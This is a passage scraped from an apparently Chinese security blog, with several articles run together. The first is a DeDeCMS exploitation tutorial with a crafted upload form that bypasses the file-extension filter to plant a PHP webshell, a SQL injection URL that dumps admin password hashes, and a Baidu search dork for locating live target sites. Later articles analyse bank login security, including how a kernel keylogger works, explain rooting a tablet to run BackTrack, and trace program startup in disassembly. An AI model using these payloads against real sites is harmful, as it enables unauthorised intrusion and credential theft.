上傳文件到 {$filename} 失敗!");   //⑥使用  move_uploaded_file 函數完成文件上傳 @unlink($GLOBALS[$upname]); ...(略) } 我們可以提交全局變量$cfg_imgtype、$cfg_mediatype、$cfg_mb_addontype,自定義允 許上傳的文件類型,使用大寫擴展名并增加空格等符號,比如“P hp”等,首先繞過 include/uploadsafe.inc.php 對 php 類型的限制,然后經過代碼②過濾空格后繞過代碼⑤ 限制,最后使用 move_uploaded_file 函數完成文件上傳。漏洞利用必須登陸用戶,將下面 代碼另存為 upload2.htm,頁面如圖 14。#p#分頁標題#e#   <form    name="form1"    action="http://127.1/member/uploads_add.php"   method="post" enctype="multipart/form-data" > <input type="hidden" name="mediatype" value="4" /> <input type="hidden" name="_GET[cfg_mb_addontype]" value="P hp|Php|php" /> <input type="hidden" name="dopost" value="save" /> <input name="addonfile" type="file" id="addonfile" /> <button class="button2" type="submit" >提交</button> </form> 將待上傳的 Php 文件擴展名改為“P hp”,然后利用該頁面完成上傳,從地址欄得到新文件 名,如圖 15。 全局變量漏洞判斷。在地址欄提交“_POST[cfg_xxx]”,如果頁面返回“Request var not allow!”則安裝過 補丁,不存在全局變量漏洞,如果頁面沒有出錯返回正常,則 存在該漏洞,如圖 16。 或者訪問“data/admin/ver.txt”文件,獲取系統最后升級時間,確認是否安裝過最新補丁。訪問“/data/admin/verifies.txt”,獲得指紋碼最后同步時間。   系統最后升級時間:http://127.1/data/admin/ver.txt 指紋碼最后同步時間:http://127.1/data/admin/verifies.txt   幾個常見的指紋碼同步時間: 20110216         DedeCmsV5.7-GBK-Final 或 V5.6 到 V5.7GBK 升級程序 20100324     DedecmsV55-GBK-Final 20100514     DedeCmsV5.6-GBK-Final   漏洞利用實例 百度搜索關鍵字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,獲得使用 DeDeCMS 系統的網站。 注入漏洞。首先訪問“/data/admin/ver.txt”頁面獲取系統最后升級時間,如圖 17 說明已經修補補丁, 然后訪問“/member/ajax_membergroup.php?action=post&membergroup=1”頁面,如圖 18說明存在該漏洞。  于是訪問頁面鏈接“/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'`”,如圖19,去掉前三位和最 后一位,得到管理員的16位 MD5碼,md5在線破解成功。 傳漏洞。要求網站開啟新會員注冊功能,首先注冊新會員,無需通過郵件驗證,只要 登陸會員中心,然后訪問頁面鏈接“/plus/carbuyaction.php?dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”如圖20,說明通過 “/plus/carbuyaction.php”已經成功調用了上傳頁面“/dialog/select_soft_post” 于是將 Php 一句話木馬擴展名改為“rar”等,利用提交頁面 upload1.htm,直接 上傳成功。 漏洞修補   目前官方沒有升級包,簡單的防止注入修補方法可以將 ajax_membergroup.php 頁面刪 除,或者給 CheckSql()自定義函數中的 preg_match 函數增加“i”參數,防止上傳的方法 可以過濾“/include/dialog/select_soft_post.php”文件中的變量$newname,限制其以字 符“.”、“?”以及空格等字符結束等。   http://www.ionrce.tw/uploads/allimg/120412/1-1204122035553R-lp.jpg DeDeCMS漏洞 php漏洞 網站安全 admin 未知 2012-04-12 20:32 電子渠道身份認證系統安全性分析 http://www.ionrce.tw/xitonganquan/20120411822.html 在信息技術高速發展的今天,各行各業都在借力 IT 技術拓展自己的業務。以金融行業 為例,近幾年各大行也都在大力發展電子銀行,推出了各種新型電子金融產品如基于 SD 卡 的 NFC手機 在信息技術高速發展的今天,各行各業都在借力 IT 技術拓展自己的業務。以金融行業 為例,近幾年各大行也都在大力發展電子銀行,推出了各種新型電子金融產品如基于 SD 卡 的 NFC手機支付、銀聯無卡支付、客戶端版手機銀行等。尤其是城市商業銀行,受實體網點 少的局限,更加期待借力電子金融產品,盡可能地觸及各個金融角落。隨著,網上銀行、手 機銀行和現金管理系統等電子金融產品的出現,也促使了安全認證技術的快速發展。然而, 由于它們都是基于Internet新應用,而Internet是一個開放的系統,對于系統安全性及信 息的保密性、完整性和不可否認性考慮的并不完備,所以電子銀行系統一直沒能擺脫操作安 全問題的困擾。本文將重點分析當前各銀行采用的各種電子渠道身份認證技術,并對這些技 術的安全性進行分析。 1.  動態口令技術 靜態口令認證技術是應用最廣泛的口令認證技術之一,即用戶口令在一定的時間間隔內 是固定不變、可重復使用的。以靜態口令技術實現的身份認證方式其特點是簡單、易用,并 且具備一定的安全性。但隨著網絡應用的復雜化、攻擊手段的多樣化,靜態口令技術的安全 缺陷也日益突出:其一,容易遭受偽造服務器攻擊。攻擊者只需要簡單構造一個與銀行網銀 完全一致的登錄界面,然后通過社會工程學手段誘騙警惕性不高的客戶登錄到釣魚網站,即 可輕松獲取用戶ID和密碼。其二,鍵盤過濾鉤子程序泛濫,一旦感染此類木馬病毒,客戶 鍵入的任何信息都在木馬監控下,此類木馬在截獲到口令后,會立即向遠端惡意主機發送此 類敏感信息。目前各家銀行的大眾版網銀基本上都是靜態口令,但此類版本一般只具有查詢 功能,安全上還是有保障的。但也有部分銀行在僅僅憑借靜態口令的安全性上,可以進行賬 戶類交易,如各種便捷繳費、捐款等交易,而且這些交易還涉及到卡密碼的輸入,這種僅僅 依賴密碼控件來保障交易的安全風險是極高的。 鍵盤過濾驅動程序的實現方法有很多,比較常見做法即定義自己的過濾驅動,然后將其 電子渠道身份認證系統安全性分析 附加到底層鍵盤驅動“\\Device\\KeyboardClass0”的設備堆棧上,調用 IoAttachDevice 函數實現過濾設備的附載,然后通過攔截讀請求 Irps 即 IRP_MJ_READ,在其實現函數中通 過調用 IoSetCompletionRoutine 函數,設置 I/O 完成例程,即底層鍵盤驅動完成鍵盤掃描 并將掃描碼返回時,觸發我們定義的回調函數,即可分析出上層用戶鍵入的字符。具體細節 讀者可參看 Clandestiny 發表的文章《Designing A Kernel Key Logger》.筆者借助 DDK 和DriverMonitor工具,編譯并加載此驅動,并測試了兩家銀行的網銀大眾版密碼控件,分 析及結果如圖1、圖2 所示。 圖 1. 兩家網銀密碼控件抵御鍵盤過濾驅動性能測試 由圖 1、2 可知,圖 1 右子圖銀行控件可以抵御此類鍵盤過濾驅動的監控,其安全性要 優于圖 1左子圖。顯然,若圖 1右子圖對應的大眾版網銀若存在一些賬務類交易,無論金額 大小,都存在一定的風險,因為有些銀行賬戶類交易都需要客戶輸入卡密碼,但客戶電腦感 染此類木馬,則客戶輸入的網銀登陸密碼、卡密碼都將完全暴露給惡意客戶,黑客完全可以 通過這兩個密碼去重試各種電子銀行系統,如手機銀行系統等。   鑒于靜態密碼存在的各種弊端,銀行都開始引入動態口令技術,也稱作一次性口令即用 戶每次登錄系統時候使用的令是變化的。口令的變動來源于產生密碼的運算因子是變化的。 動態口令的生成因一般采用雙運算因子: (1)用戶的私鑰。用戶私鑰是動態口令生成過程中不變的運算因子,用來代表用戶身份 的識別碼。 (2)變動因子。該變動因子可以基于時間、事件、隨機數列及其他一些可變因素。用不 同的變動因子可以形成不同的動態口令認證技術,目前硬件介質的E-Token 主要采用基于時 間同步的證技術、基于事件同步的認證技術、基于挑戰/應答方式的非同步認證技術三種不#p#分頁標題#e# 同的技術模式。軟介質的主要是基于短信的動態口令技術。 2. 動態口令安全性分析 2.1 基于時間同步認證的安全分析 基于時間的同步認證技術是把流逝的時間作為變動因子,一般60s 內為有效時間。銀行 在分發 E-token時與電子渠道用戶綁定建立一一對應關系,使用唯一的128位種子將其初始 化。其內部芯片每分鐘換一種不同算法,組合種子與當前時間,生成一個隨機6 位數,也即 目前銀行分發的E-token每 60s更新一次動態口令。銀行端的認證系統與客戶端的E-token 同時擁有對稱密鑰和相同的對稱密鑰算法,在設定好的相同時間更新計算出新的隨機數字, 保證動態口令牌和網上銀行服務器的單一認證,確保網上銀行的安全性。用戶登錄網上銀行    70 系統時,只需按下按鈕,U盤大小的電子口令牌上方的液晶顯示器每隔60s 就能變換出一組 六位的隨機數字作為身份認證的口令。 但這種方式存在一個致命的弊端即口令的產生沒有包含客戶此次轉賬的任何信息,而且 客戶端也沒有對電子渠道如網銀服務器進行驗證即只能提供單向認證,易被網絡釣魚。針對 安全意識薄弱的客戶實施攻擊,通過“Token升級”等借口,向客戶發送一個釣魚網站,以 獲取客戶輸入的關鍵信息(用戶名+靜態口令+動態口令),然后在60s 內瞬間完成惡意交易。  針對釣魚網站攻擊,目前各家行采取了一些有效措施:其一,為客戶提供防偽驗證信息 設置,在客戶登錄網銀時,客戶可根據輸入的用戶 ID,校驗服務器返回的防偽驗證信息是 否符合自己預留的信息。這種方式比較陳舊,無法躲避 MTIT 攻擊。其二,結合短信渠道, 在轉賬確認時,向客戶發送轉賬的關鍵要素及隨機數,要求客戶再次輸入確認。這種方式很 好地解決了網絡釣魚攻擊。 2.2 基于挑戰/應答認證的安全分析 基于挑戰/應答方式的非同步認證技術中,變動因子是由認證服務器產生的隨機字序列, 同時它也是密碼發生器生成密碼的變動因子。主流的挑戰/應答方式的動態密碼身份認證方 式即 S/KEY 協議。基于摘要算法的 S/Key 系統,通過初始化和認證兩個步驟來完成整個認 證過程: (1)初始化。通過選擇一個隨機口令字或由用戶指定一個口令字,作為初始密碼 I, 使用單向不可逆算法加密W 到 N 次得到 S1~Sn ,將得到的N 個密碼的最后一個Sn 保留在 服務器中,用于后續校驗,將其余的N-1 個密碼(S1~Sn-1)交給用戶作為密碼,每次逆序使 用一個,直到S1 被使用后,需重新初始化。 (2)認證。認證服務器針對每一個在其中完成初始化的用戶保留相應的Sn,用戶在認 證時,將其最后一個密碼Sn-1 提交給服務器,服務器將其用摘要算法處理后和保存的該用 戶 Sn 比較,相同則認證成功,并將 Sn 拋棄,存儲Sn-1,以此類推,直至W 被使用,則需 重新初始化。 同樣這種方式也僅僅是一種單向認證方式,容易遭受 MITM 攻擊和小數攻擊。當用戶向 服務器請求認證時,黑客截取服務器傳來的種子和迭代值,并修改迭代值為較小值,假冒服 務器,將得到的種子和較小的迭代值發送給用戶。用戶利用種子和迭代值計算一次性口令, 黑客在此截取用戶傳來的一次性口令,并利用已知的單向散列函數一次計算較大迭代值的一 次性口令,就可以獲得該用戶后繼的一系列口令,進而在一段時間內冒充合法用戶而不被察 覺即小數攻擊。 2.3 短信口令認證安全性分析   短信口令認證技術相對硬件介質的E-Token 更加環保且使用方便,客戶發生賬務類交易 時,不需要隨身攜帶物理介質。當前各家銀行推出的短信口令版網銀,都基本上添加了安全 因子 salt即客戶的交易信息。整個認證過程如圖3所示。 (1)客戶在柜面申請開通短信口令認證。此過程主要是將用戶身份信息與認證服務器 的種子進行綁定,為用戶分配一個唯一種子。   (2)客戶登錄網銀,輸入轉賬要素后,需要激活認證服務器,網銀服務器收到客戶的 認證請求后,會查詢客戶對應的種子信息,將種子Seed 和交易信息(如收款人賬號、金額)  一并上送給認證服務器,認證服務器接收到輸入后,會將其作為輸入值,調用哈希函數散列#p#分頁標題#e#   71 成一個固定長度的隨機數R。   (3)認證服務器下發隨機數給網銀,然后再將收款人賬號后幾位、金額及隨機數 R 一 并通過短信平臺下發客戶。客戶收到后確認交易信息無誤即可輸入R值,進行真實賬務處理。    哈希函數的輸入值加入轉賬要素的優點即很好地避免了客戶端感染各種木馬,導致頁面 提交的各種要素發生惡意改變的可能。盡管如此,短信口令認證系統也存在一些弊端:其一, 動態口令在整個從后臺到手機過程中的多個階段,都是以明文傳輸的,且運營商及其工作人 員可有效地監聽和阻斷動態口令的傳遞,若運營商中間出現問題,即惡意監控分析銀行端口 下發的動態口令值,短信動態口令系統將面臨極大地挑戰。其二,短信口令認證系統容易遭 受DOS攻擊。當系統用于遠程系統登錄認證時,若黑客在獲取到大量有效用戶名的前提下, 則可對遠程接入系統發起登錄過程的阻塞攻擊,使系統失去響應并造成所有受到攻擊用戶的 賬號鎖住,導致正常用戶無法登錄系統。 3.硬件數字證書 硬件數字證書是網上銀行通常使用的U 盾、網盾等類似 U盤的硬件,常被稱作UsbKey。 它是一種存放有數字證書的具備加密、計算功能的智能卡,具有較高的安全性。每一個 UsbKey 都具有硬件 PIN 碼保護,PIN 碼和硬件構成了用戶使用UsbKey 的兩個必要因素實現 雙因子認證。 用戶登錄證書版網銀時,要求插入USBKey并驗證是否存在證書,驗證成功后,服務器才 正常轉入到登錄頁面,客戶輸入ID+PWD驗證后,客戶才被允許發起業務指令,此時系統會要 求客戶輸入PIN碼,驗證成功后,客戶端將敏感的網銀業務指令傳輸到UsbKey中,UsbKey先 將指令進行Hash運算生成摘要h,同時用UsbKey中數字證書上的私鑰s對H加密得到Es(h)。另 外,客戶端隨機產生一個密鑰k,用DES算法對Es(h)和明文m進行加密得到Ek1(Es(h)+m),然 后將加密后的數字簽名、網上銀行業務指令原文和使用服務器公鑰k2 加密后的Ek2 網銀服務器收到客戶端信息后,用自己的私鑰d解密E (k1)一同 通過USB接口被提交到客戶端系統,進而提交給網上銀行服務器系統。 k2(k1),得到k1 后執行以下操作 Dk1(Ek1(Es(h)+m))解密得到Es(h)和明文m,最后再用用戶公鑰驗證數字簽名,防止指令中途 被篡改,并確保用戶身份不可抵賴。具體流程設計如圖3所示。 4 硬件數字證書安全分析 UsbKey 采用了 PKI 公鑰體系,并結合數據加密、數字簽名、數字證書、單向散列函數 等多種信息安全技術以確保網銀交易的安全性。截止目前為止,Usbkey 認證可以被認為是 最為安全的電子交易認證手段。安全總是性對的,任何發生在互聯網上的報文傳送,都有可 能存在風險。PIN 碼的靜態不可變性及網銀交易要素在轉入 Usbkey 的過程不確定性都會帶 來一定的安全風險,主要表現在以下幾點:其一,若用戶沒有及時拔除 Usbkey,且用戶已 經感染具備操作 Usbkey 的木馬如“飛鴿子”,此時風險就極具上升。因為客戶鍵入的 PIN 碼僅僅使用簡單的鍵盤過濾驅動就可輕易獲取,故此時黑客就可遠程操控 Usbkey,迫使其 發生賬務類交易。其二,網銀交易要素在轉入 Usbkey 的過程存在一個真空期,賬務信息沒 有受到任何保護,若黑客能夠在此真空期,截獲到賬務信息并惡意修改成自己的賬號和金額, USBKey 將毫無辦法,因為對其而言全部透明。 5. 小結   網銀的安全性并不是不能提高,比如完全可以在PIN碼上采用前面介紹的OTP技術,使用 動態口令,結合E-token的動態因素以及Usbkey的消息完整性、防抵賴性等特性,建立更加 堅固的網上銀行系統,但安全和便捷性、成本等往往是相沖突的,安全性加固后必然帶來操 作上的繁瑣性和成本的提高。 http://www.ionrce.tw/uploads/allimg/120411/1-120411212932b9-lp.jpg 身份認證 安全認證 系統安全 admin 未知 2012-04-11 21:27 摩托羅拉XOOM下安裝backtrack5和提權 http://www.ionrce.tw/xitonganquan/20120410821.html 前言 關于什么是 backtrack 的問題,大家可以閱讀《backtrack 中文指南》,這里就不介紹 了。之前 akast 寫過一篇在索愛 XPERIA 上面使用 backtrack 的文章,但是 akast 不推薦使 用手機來玩 bac 前言   關于什么是 backtrack 的問題,大家可以閱讀《backtrack 中文指南》,這里就不介紹 了。之前 akast 寫過一篇在索愛 XPERIA 上面使用 backtrack 的文章,但是 akast 不推薦使 用手機來玩 backtrack,其一是手機的屏幕小。其二是手機的性能比不上平板,跑起 backtrack 會很卡的。 本文示例使用的 XOOM 型號是 MZ606 的,不過還是推薦 MZ600,但是不論是什么型號都 好,剛買回來的都是沒有和 Google 電子市場的,也就是說不能安裝 android VNC 和 terminal 這些工具,所以我們需要先提升權限和安裝 Google 的服務組件。   系統更新   新買的 XOOM 先進入系統,連接上 WIFI,然后點擊“設置”——“關于平板電腦”—— “系統更新”,讓系統自動更新到最新版本,我的是從 3.0.1 更新到 3.1。因為 3.0 是沒有 Recovery 模式的,系統自動更新完之后先不要安裝其他東西,因為下一步解鎖時會清空 XOOM 里面的所有數據的。   解鎖 BootLoader   在繼續下面的操作之前必須先要解鎖,否則進行不了,解鎖會清空你設備上全部的數據,包括設備本身的數據和內部硬盤的全部數據! 解鎖要連接到電腦,所以電腦要先安裝好驅動程序MotoHelper_2132_Driver_54.exe(圖 1 ) , 驅 動 、 解 鎖 工 具 和 刷 Recovery 工 具 都 下 載,安裝好驅動之后,按“音量鍵下+開機鍵” 就可以打開并進入XOOM的fastboot模式,XOOM顯示屏會有提示:“starting fastboot protocol support”,此時用USB線把XOOM連接到電腦,我的電腦用的是Windows 7 系統。 解鎖我們可以使用Android SDK:(software development kit)軟件開發工具包。被軟 件開發工程師用于為特定的軟件包、軟件框架、硬件平臺、操作系統等建立應用軟件的開發 工 具的集合 , Android SDK 指的是 Android 專 屬的軟件 開發工 具包 。下載 地 址:http://developer.android.com/sdk/index.html,或者直接下載從SDK中提取出來的 fastboot.exe也行。解鎖完成后Xoom自動會重啟,解鎖命令如下(圖 2)。 在電腦上的操作命令: fastboot.exe devices          查找設備 fastboot.exe oem unlock 開始解鎖 XOOM 屏幕會顯示: current choice》 I Accept     按“音量下”將改 I Accept,按“音量上”確認。 current choice》 Yes         按“音量下”將改 Yes,按“音量上”確認。   刷入 CM Recovery   Recovery 是安卓系統的一個特殊工作模式,使用它可以在未開機的狀態下實現系統更 新、還原出廠設置、清除手機緩存等。通過一些第三方工具,還可以實現系統的備份、還原、安裝主題等,我們這里使用 Cyanogen Mod 的 Recovery。 Cyanogen Mod(簡稱 CM)是一個國外非常著名的 Android 第三方固件項目,由 Cyanogen 團隊基于 Android 的開源項目編譯而來,由于其高效、簡潔、穩定的特性,已經成為了機友 們體驗最新 Android 系統的首選 ROM。 該項目開始于 2008 年 9 月份 HTC Dream 的發布,當時大部分的玩家都在探索如何讓手 機獲取 root 權限,在 Android 開源項目發布之后,這個目標終于得到了實現,Cyanogen 團 隊開始為 HTC Dream 創建自定義軟件。在 v4.1.11.1 版本之前,Cyanogen Mod 都包含了 Google 私有的一系列服務,包括 Google Talk,YouTube,Gmail 等應用。后來(2009 年 9 月)Google 給 Cyanogen 團隊發出了律師函,要求對方停止集成 Google 的一系列程序。所以現在 Cyanogen Mod 將 ROM 分拆成了兩部分,一部分完全是開源的 Android 固件,另外一部分則 是 Google 的服務包。 在進行了上一步解鎖之后,我們再次進入 XOOM 的 fastboot 模式,進行以下操作即可刷 入 CM Recovery(圖 3): 在電腦上的操作命令: fastboot.exe devices                     查找設備 fastboot.exe flash recovery recovery.img         安裝 Recovery 鏡像 fastboot.exe reboot                  重啟設備#p#分頁標題#e# 獲取 root 權限   這一步我們有兩種選擇,其一是直接在你目前的系統里做權限提升。其二是刷已經是 root權限的android系統,然后再裝Google服務包。我這里選擇的是第二種方法,直接刷已 經有root權限的Eos-wingray-70.zip包和EOS_GApps_ics_4.0.3_v10.5.zip Google服務包, 下載地址:http://www.ionrce.tw /d/EKJJVUNSBYTG 。 首先下載兩個 zip 文件包到外部 SD 卡中,不需要解壓,把卡插入到 XOOM 中,然后打開 XOOM 進入 recovery 模式,接著進行 wipe data、wipe cache 和 advanced 中的 wipe Dalvik cache。 進入 recovery 模式的方法:關機狀態下按開機出現 M 標志(2 秒左右)按“音量下” 進入模式選擇狀態,分別可以進入 Fastboot、Recovery、RSD 等三種模式。此時按“音量下” 可以轉換三種模式,xoom 屏幕左上有提示,這時想要進入哪個模式,按“音量鍵上”即可 確定進入。另外,在 Recovery 模式下“音量上下鍵”是選擇,“關機鍵”是確認。 自動進行完三種 wipe 之后,就接著回到主菜單,選擇“install zip from sdcard”——“choose zip from sdcard”安裝 Eos-wingray-70.zip ROM 包,安裝完之后 不需要重啟,接著安裝 EOS_GApps_ics_4.0.3_v10.5.zip GAPPS 包,重新啟動 XOOM 即可。 -reboot system now        重啟系統 -apply sdcard:update.zip        使用 SD 卡根目錄的 update.zip 更新系統 -wipe data/factory reset       清空 data 分區并恢復出廠設置 -wipe cache partition          清空 cache 分區 -install zip from sdcard       從 Sdcard 選擇文件更新系統 -backup and restore           備份和恢復 -mounts and storage           掛載和存儲 -advanced               高級 -Power off              關機 -GO back                    返回上一級 --Reboot Recovery           重啟 Recovery --Wipe Dalvik Cache        清空 Dalvik 緩存 --Wipe Battery Stats       清空電池狀態 --Report Error        報告錯誤 --Key Test           鍵位測試 --Partition SD Card        對 SD 卡分區 --Fix Permissions 修復權限 --apply sdcard:update.zip            使用 SD 卡根目錄的 update.zip 更新系統 --choose zip from sdcard          從 SD 卡選擇 zip 格式升級包 --toggle signature verification         切換簽名驗證 --toggle script asserts      切換升級腳本檢查 安裝 backtrack5   我們需要到安卓電子市場里面安裝兩個工具,只在命令行下面是用 backtrack 的話安裝 “android terminal emulator”就行了,如果還需要打開 backtrack 的圖形界面就還需要 安裝“pocketcloud remote VNC”來連接 backtrack 的圖形界面, “android VNC viewer” 的鍵盤有問題,所以不推薦使用。 從 backtrack 官方地址 http://www.backtrack-linux.org/downloads/  下載的 -GNOME-ARM.7z解壓出來,里面有一個bt5.img.gz再解壓一次,然后把bt5.img.gz刪掉 OOM的“內部存儲空間”建立一個bt5 的文件夾,看清楚是“內部存儲空間” ,不是外插 D卡!把所有解壓出來的文件復制到bt5 文件夾里面去(圖 4)。把“busybox” nstallbusybox.sh”兩個文件都放到“內部存儲空間”的根目錄(圖5)。 #p#分頁標題#e# 打開“android terminal emulator”終端模擬器,安裝 busybox 和啟動 backtrack(圖 6)。然后可以使用 pocketcloud remote VNC”來連 接 backtrack 的圖形界面,默認的 vnc 密 碼是'toortoor',可以使用 'vncpasswd'命令來更改 vnc 密碼。VNC 端口是 5901(圖 7)。 最后你就可以做你想做的事情了(圖 8)。 su                轉為 root 權限 cd /sdcard           跳轉到/sdcard 目錄 sh installbusybox.sh       安裝 busybox cd /sdcard/bt5        跳轉到/sdcard/bt5 目錄 sh bootbt               啟動 backtrack startvnc                啟動 backtrack 的 vnc 服務 stopvnc             關閉 backtrack 的 vnc 服務 其他問題   1.如果在連接電腦的時候在“設備管理器”中出現“設備無法啟動”,有兩種原因,其一是 USB 接口有問題,最好換到機箱后邊的USB接口。其二是驅動安裝有問題,請重新安裝驅動。  2.解鎖后不能再鎖上,否則XOOM 會壞掉! 3.手機 ROM是儲存手機操作系統的地方,一般情況下為了手機系統的安全是不允許被擦寫 的,因此操作系統儲存在ROM 中只能被讀取而不能被更改擦寫。但是為了系統的升級,可以 通過電腦上的程序修改擦寫ROM,平時說的“刷機”,就是擦寫ROM。 4.ICS:Android 系統4.0 命名為 Ice Cream Sandwich,簡稱ICS,冰淇淋三明治。 5.3.0.1 只有 NvFlash、Fastboot、RSD 等三種模式,沒有Recovery模式,所以要先升級。 http://www.ionrce.tw/uploads/allimg/120410/1-1204101524201P-lp.jpg backtrack5 提權 bt5 系統安全 admin 未知 2012-04-10 15:19 深入跟蹤 Hello World 執行 http://www.ionrce.tw/biancheng/20120408819.html 本篇文章我們主要講述 hello world 程序的執行,這一次我們不從 main 函數開始,我 們從更原始的起點開始跟蹤程序的執行,讓大家看到一些不應該看到的東西。 首先給出最簡單 hellowor 本篇文章我們主要講述 hello world 程序的執行,這一次我們不從 main 函數開始,我 們從更原始的起點開始跟蹤程序的執行,讓大家看到一些不應該看到的東西。 首先給出最簡單 helloworld 源代碼,如下所示: #include <stdio.h> int main() { printf("Hello World!!!\n"); return(0); } 通常我們編寫程序的時候,不管書里或者教授之人,都會告訴我們程序是從 main 函數開 始執行的,main()是程序的開始,但是真的是這樣嗎,main 是如何開始的呢?我們使用 GCC 進行編譯,如下:gcc hello\ world.c  -o test 我們已經得到了我們編譯后的 ELF 可執行文件,結果就是打印一個”hello world!”字 符串。我們如何開始進行分析呢,這里我們使用 IDA 進行分析,我們打開 IDA 載入 ELF 目標 文件,我們可以看到 IDA 對程序進行了自動分析,并進行了繪圖,如下所示: 我們看到根為_start,我們 text view 反匯編代碼,代碼如下:   .text:08048310                  public _start .text:08048310 _start            proc near .text:08048310                  xor      ebp, ebp .text:08048312                  pop      esi .text:08048313                  mov      ecx, esp .text:08048315                  and      esp, 0FFFFFFF0h .text:08048318                  push     eax .text:08048319                  push     esp .text:0804831A                  push     edx .text:0804831B                  push     offset  libc_csu_fini .text:08048320                  push     offset  libc_csu_init .text:08048325                  push     ecx .text:08048326                  push     esi .text:08048327                 push    offset main .text:0804832C                  call .text:08048331                  hlt .text:08048331 _start             endp _libc_start_main 我們通過對這段代碼進行分析,可以發現,這個地方最后調用了 libc_start_main。 這里共傳入了七個參數,第一個函數是 main 的地址,第二個參數 esi 為 argc,第三個參數 為 argv 的地址,第四個地址為_init 地址,第五個參數為_finit 地址,第六個參數為 finit, 第七個為 esp 頂。我們可以看到_start 的第一行為 xor ebp ebp,設置 ebp,這里才是一個程 序最外層的函數。那么這段_start 是如何進入我們的 helloworld 的呢,是由 GCC 編譯的時 候鏈接的,我們在 glibc 里可以找到_start 的源代碼,代碼如下: 057 #include "bp-sym.h" 058 059     .text 060      .globl _start 061      .type _start,@function 062 _start: 063      /** Clear the frame pointer.      The ABI suggests this be done, to mark 064       the outermost frame obviously.      */ 065      xorl %ebp, %ebp 066 067     /** Extract the arguments as encoded on the stack and set up#p#分頁標題#e# 068        the arguments for `main': argc, argv.       envp will be determined 069        later in  libc_start_main.     */ 070     popl %esi       /** Pop the argument count.     */ 071      movl %esp, %ecx       /** argv starts just at the current stack top.*/ 072 073      /** Before pushing the arguments align the stack to a 16-byte 074      (SSE needs 16-byte alignment) boundary to avoid penalties from 075      misaligned accesses.     Thanks to Edward Seidl <seidl@janed.com> 076      for pointing this out.     */ 077      andl $0xfffffff0, %esp 078      pushl %eax        /** Push garbage because we allocate 079                  28 more bytes.    */ 080 081      /** Provide the highest stack address to the user code (for stacks 082       which grow downwards).     */ 083     pushl %esp 084 085      pushl %edx        /** Push address of the shared library 086                  termination function.     */ 087 088 #ifdef SHARED 089      /** Load PIC register.      */ 090      call 1f 091     addl $_GLOBAL_OFFSET_TABLE_, %ebx 092 093     /** Push address of our own entry points to .fini and .init.         */ 094      leal __libc_csu_fini@GOTOFF(%ebx), %eax 095     pushl %eax 096      leal __libc_csu_init@GOTOFF(%ebx), %eax 097     pushl %eax 098 099     pushl %ecx       /** Push second argument: argv.      */ 100     pushl %esi       /** Push first argument: argc.      */ 101 102      pushl BP_SYM (main)@GOT(%ebx) 103 104      /** Call the user's main function, and exit with its value. 105       But let the libc call main.       */ 106      call BP_SYM (__libc_start_main)@PLT 107 #else 108     /** Push address of our own entry points to .fini and .init.         */ 109      pushl $  libc_csu_fini 110      pushl $  libc_csu_init 111 112     pushl %ecx       /** Push second argument: argv.      */ 113     pushl %esi       /** Push first argument: argc.      */ 114 115      pushl $BP_SYM (main) 116 117      /** Call the user's main function, and exit with its value. 118       But let the libc call main.       */ 119      call BP_SYM (__libc_start_main) 120 #endif 121 122     hlt        /** Crash if somehow `exit' does return.       */ 123 124 #ifdef SHARED 125 1:    movl     (%esp), %ebx 126     ret 127 #endif 128 129 /** To fulfill the System V/i386 ABI we need this symbol.         Yuck, it's so 130    meaningless since we don't support machines < 80386.        */ 131      .section .rodata 132      .globl _fp_hw#p#分頁標題#e# 133 _fp_hw: .long 3 134     .size _fp_hw, 4 135      .type _fp_hw,@object 136 137 /** Define a symbol for the first piece of initialized data.          */ 138     .data 139      .globl  data_start 140  data_start: 141     .long 0 142      .weak data_start 143      data_start = __data_start   下面我們大概清楚了_start 為程序的最外部函數,現在我們開始研究_start 中 call   libc_start_main,這個是什么函數,都作了什么。我們可以 text view,看下其反編譯代 碼,我們可以看到在 IDA 中是無法看到他的,指向了.plt 表,如下表所示:   .plt:080482E4 .plt:080482E4  _libc_start_main proc near                ; CODE XREF: _start+1C p .plt:080482E4                 jmp      ds:off_804A004 .plt:080482E4      libc_start_main endp .plt:080482E4 我們可以 gdb 動態調試或 IDA 動態調試再 disas  libc_strat_main,代碼如下所示: (gdb) disassemble  libc_start_main Dump of assembler code for function __libc_start_main: 0xb7e11690 <  libc_start_main+0>:        push    %ebp 0xb7e11691 <  libc_start_main+1>:        xor     %edx,%edx 0xb7e11693 <  libc_start_main+3>:        mov     %esp,%ebp 0xb7e11695 <  libc_start_main+5>:        push    %edi 0xb7e11696 <  libc_start_main+6>:        push    %esi 0xb7e11697 <  libc_start_main+7>:        push    %ebx 0xb7e11698 <  libc_start_main+8>:        call                        0xb7e115af <_Unwind_Find_FDE@plt+111> 0xb7e1169d <  libc_start_main+13>:       add     $0x148957,%ebx 0xb7e116a3 <  libc_start_main+19>:       sub     $0x4c,%esp 0xb7e116a6 <  libc_start_main+22>:       mov     0x14(%ebp),%esi 0xb7e116a9 <  libc_start_main+25>:       mov     0x1c(%ebp),%ecx 0xb7e116ac <  libc_start_main+28>:       mov     -0x100(%ebx),%eax 0xb7e116b2 <  libc_start_main+34>:       test    %eax,%eax 0xb7e116b4 <  libc_start_main+36>:       jne                         0xb7e1177d <  libc_start_main+237> 0xb7e116ba <  libc_start_main+42>:       mov     -0x3c(%ebx),%eax 0xb7e116c0 <  libc_start_main+48>:       test    %ecx,%ecx 0xb7e116c2 <  libc_start_main+50>:       mov     %edx,(%eax) 0xb7e116c4 <  libc_start_main+52>:       je      0xb7e116de <  libc_start_main+78> 0xb7e116c6 <  libc_start_main+54>:       movl    $0x0,0x8(%esp) ---Type <return> to continue, or q <return> to quit--- 0xb7e116ce <  libc_start_main+62>:       movl    $0x0,0x4(%esp) 0xb7e116d6 <  libc_start_main+70>:       mov     %ecx,(%esp) 0xb7e116d9 <  libc_start_main+73>:       call    0xb7e29e10 <  cxa_atexit> 0xb7e116de <  libc_start_main+78>:       mov     -0xc4(%ebx),%edx 0xb7e116e4 <  libc_start_main+84>:       testb   $0x2,(%edx) 0xb7e116e7 <  libc_start_main+87>:       jne                         0xb7e1182e#p#分頁標題#e# <  libc_start_main+414> 0xb7e116ed <  libc_start_main+93>:       test    %esi,%esi 0xb7e116ef <  libc_start_main+95>:       je                         0xb7e1170c <  libc_start_main+124> 0xb7e116f1 <  libc_start_main+97>:       mov     -0x58(%ebx),%eax 0xb7e116f7 <  libc_start_main+103>: mov         